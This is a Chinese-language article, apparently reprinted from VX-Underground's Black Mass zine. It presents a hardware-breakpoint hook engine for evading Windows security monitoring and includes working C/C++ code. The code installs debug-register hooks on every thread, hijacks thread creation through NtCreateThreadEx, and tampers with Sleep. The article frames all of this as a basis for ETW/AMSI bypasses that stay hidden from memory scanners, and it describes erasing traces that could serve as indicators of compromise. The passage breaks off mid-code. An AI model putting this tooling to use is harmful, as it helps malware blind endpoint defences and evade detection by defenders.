本文最初是为 VX-Underground Black Mass Halloween Edition 2022 撰写的。
Hook 引擎:
利用调试寄存器实现的通用 x64 用户态规避技术:
可用的 ETW/AMSI Hook 示例
我们的任务是轻松地 Hook 函数并根据需要转移代码流,最后在不再需要时移除 Hook。
我们不能考虑应用 IAT Hook,因为它们并不总会被调用,因此不可靠。 内联 Hook 是一种强大的技术;然而,它需要我们修补代码所在的内存。 这确实是一种强大的技术,但像 PE-Sieve 和 Moneta 这样的工具能够区分模块的内存驻留副本与磁盘副本之间的差异,并将其标记出来。 这使调试寄存器成为完成该任务的完美工具,尽管它们相当不受恶意软件作者重视!
在 Windows 上,从高层概述来看,进程本质上是线程的封装,而每个线程都维护一个上下文,即线程的状态:寄存器、堆栈等。 调试寄存器是一种特权资源,设置它们同样如此;然而,Windows 暴露了多种系统调用,允许我们请求内核代表我们执行特权操作;这包括设置调试寄存器,而这对我们来说非常理想。 NtSetThreadContext 和 NtGetThreadContext 提供了修改任意线程上下文的功能,只要我们能以所需权限打开对应句柄。 我们可以看到如何使用 Win32 API 设置调试寄存器。```c CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);
// set our debug information in the Dr registers
SetThreadContext(thd, &context);
共有8个调试寄存器,从Dr0到Dr7。我们感兴趣的只有Dr0-3,我们用它来存储希望下断点的地址,而Dr6只是调试状态寄存器。最重要的是Dr7,它描述了处理器抛出异常所需的断点条件。使用调试寄存器时有各种限制,例如数量有限(4个)且不适用于所有线程/新生成的线程。我们将设法解决其中一些限制!
当异常被抛出时,它会查找异常处理器,我们可以在程序中定义并注册该处理器[1]。在我们定义的异常处理器中,我们希望当相应的断点被触发时,运行我们关联的代码(不同的代码流程)。```c
LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
{
// Look for our associated code flow relative to our RIP
if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) {
HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo);
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
这是通过一个构造函数实现的,该构造函数设置“回调” lambda 函数与地址之间的映射。 using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;```c typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK;
// Global std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };
// Create our mapping HWBP_ADDRESS_MAP[address].func = function; HWBP_ADDRESS_MAP[address].pos = pos;
我们必须遍历我们所有的进程线程,并对它们的上下文进行相应的调整,
这可以使用 ToolHelp32 辅助函数实现:
CreateToolhelp32Snapshot 和 Thread32Next。这并不花哨,但解决了我们
无法附加到所有线程的一个限制。```c
VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true)
{
DWORD pid{ GetCurrentProcessId() };
HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) };
if (h != INVALID_HANDLE_VALUE) {
THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) };
if (Thread32First(h, &te)) {
do {
if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +
sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {
HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thd != INVALID_HANDLE_VALUE) {
SetHWBP(thd, address, pos, init);
CloseHandle(thd);
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
CloseHandle(h);
}
}
设置硬件断点本身就可疑,因为它们可能表明存在恶意活动(尽管据我所知,没有 EDR 会主动扫描它们)。它们可能被用作针对我们的潜在 IoC,因此一旦我们使用完毕,就必须清除它们的痕迹。
我们可以在析构函数中实现这一点!!它将遍历所有线程,并检查寄存器(&context.Dr0)[pos] 是否指向我们最初设置硬件断点的地址(pos 只是索引 % 4,让我们能够访问 context.Dr0-Dr3)。我们还可以移除 Dr7 寄存器中所需的条件。我们还必须记住移除我们的映射条目。因此,我们的硬件断点只会在所需的时间段内存在!```c SetHWBPS(address, pos, false); HWBP_ADDRESS_MAP.erase(address);
一个硬件断点的示例是 Sleep,我们只需将睡眠时长
替换为 0。```c
HWBP HWBPSleep{ (uintptr_t)&Sleep, 0, // Set Dr 0
([&](PEXCEPTION_POINTERS ExceptionInfo) {
ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // continue execution
}) };
我们知道需要设置 RCX,这是因为 x64 Windows 四寄存器快速调用约定[1]。构造函数的第一参数是要中断的地址,第二个参数是存储到哪个 Dr0-3 寄存器(注意,我们一次只能设置 4 个中断地址),第三个参数是一个 lambda 函数,它将按引用捕获 PEXCEPTION_POINTERS,这是异常处理程序将接收到的信息。这最终使我们能够根据触发的是哪个断点来以不同方式控制程序流程。
当创建新线程时,它不会继承关联的调试寄存器组,除非我们设法拦截新线程的创建!我们可以使用的一个巧妙技巧是捕获实际起始地址,并将新线程转移去创建我们自己的线程。大多数新线程最终都会调用 NtCreateThreadEx。```c // Global Variable PVOID START_THREAD{ 0 };
// capture original start address HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"), "NtCreateThreadEx"), 1, ([&](PEXCEPTION_POINTERS ExceptionInfo) {
// save original thread address
START_THREAD = (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28);
// set the start address to our thread address
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28) = (uintptr_t)&HijackThread;
ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
}) };
DWORD WINAPI HijackThread(LPVOID lpParameter) { typedef DWORD(WINAPI* typeThreadProc)(LPVOID lpParameter);
// Set required HWBP
for (auto& i : HWBP_ADDRESS_MAP) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, true);
}
// restore execution to original thread
return ((typeThreadProc)START_THREAD)(lpParameter);
}
这种解决方案的一个局限性在于,线程的调用栈将源自我们注入的 DLL 的 HijackThread,而不是原始线程!另一种更好的解决方案是自己调用 NtCreateThreadEx,但以挂起状态启动它,然后设置所需的硬件断点。然后,通过恢复已为该新线程设置调试寄存器的挂起线程来恢复执行。这将解决使用调试寄存器的另一个局限性。
调用我们设置了断点的指令会触发无限循环;因此,我们暂时禁用负责触发我们当前 RIP 的硬件断点。一旦我们完成调用,就可以恢复它。这样我们就可以调用原始函数(类似于跳板/trampoline)。在这种情况下,我们必须将 RIP 指向一个 ret gadget,以便它能返回,并且不会再次执行 syscall 指令。
第 5 个参数及其之后的参数可以在堆栈上以 0x8 字节的间隔找到 [2]。当我们触发断点时,堆栈大致如下所示。```
___________________________
| |
| 0x8 + lpBytesBuffer |
|___________________________|
| |
| 0x8 + SizeOfStackReserve |
|___________________________|
| |
| 0x8 + SizeOfStackCommit |
|___________________________|
| |
| 0x8 + StackZeroBits |
|___________________________|
| |
| 0x8 + Flags |
|___________________________|
| |
| 0x8 + lpParameter |
|___________________________|
| |
| 0x8 + lpStartAddress |
RSP + 0x28 +-> |___________________________|
| |
| |
| | R9 +-> (HANDLE)ProcessHandle
| 0x20 + Shadow Store | R8 |-> (PVOID) ObjectAttributes
| | RDX |-> (ACCESS_MASK) DesiredAccess
| | RCX +-> (PHANDLE) hThread
|___________________________|
| |
| 0x8 + Call Ret Addr | RIP +-> NtCreateThreadEx
RSP +-> |___________________________|
// Find our ret ROP gadget
uintptr_t FindRetAddr(const uintptr_t function)
{
BYTE stub[]{ 0xC3 };
for (unsigned int i = 0; i < (unsigned int)25; i++)
{
// do not worry this will be optimized
if (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) {
return (function + i);
}
}
return NULL;
}
typedef LONG(NTAPI* typeNtCreateThreadEx)(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer
);
HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"),
"NtCreateThreadEx"), 1,
([&](PEXCEPTION_POINTERS ExceptionInfo) {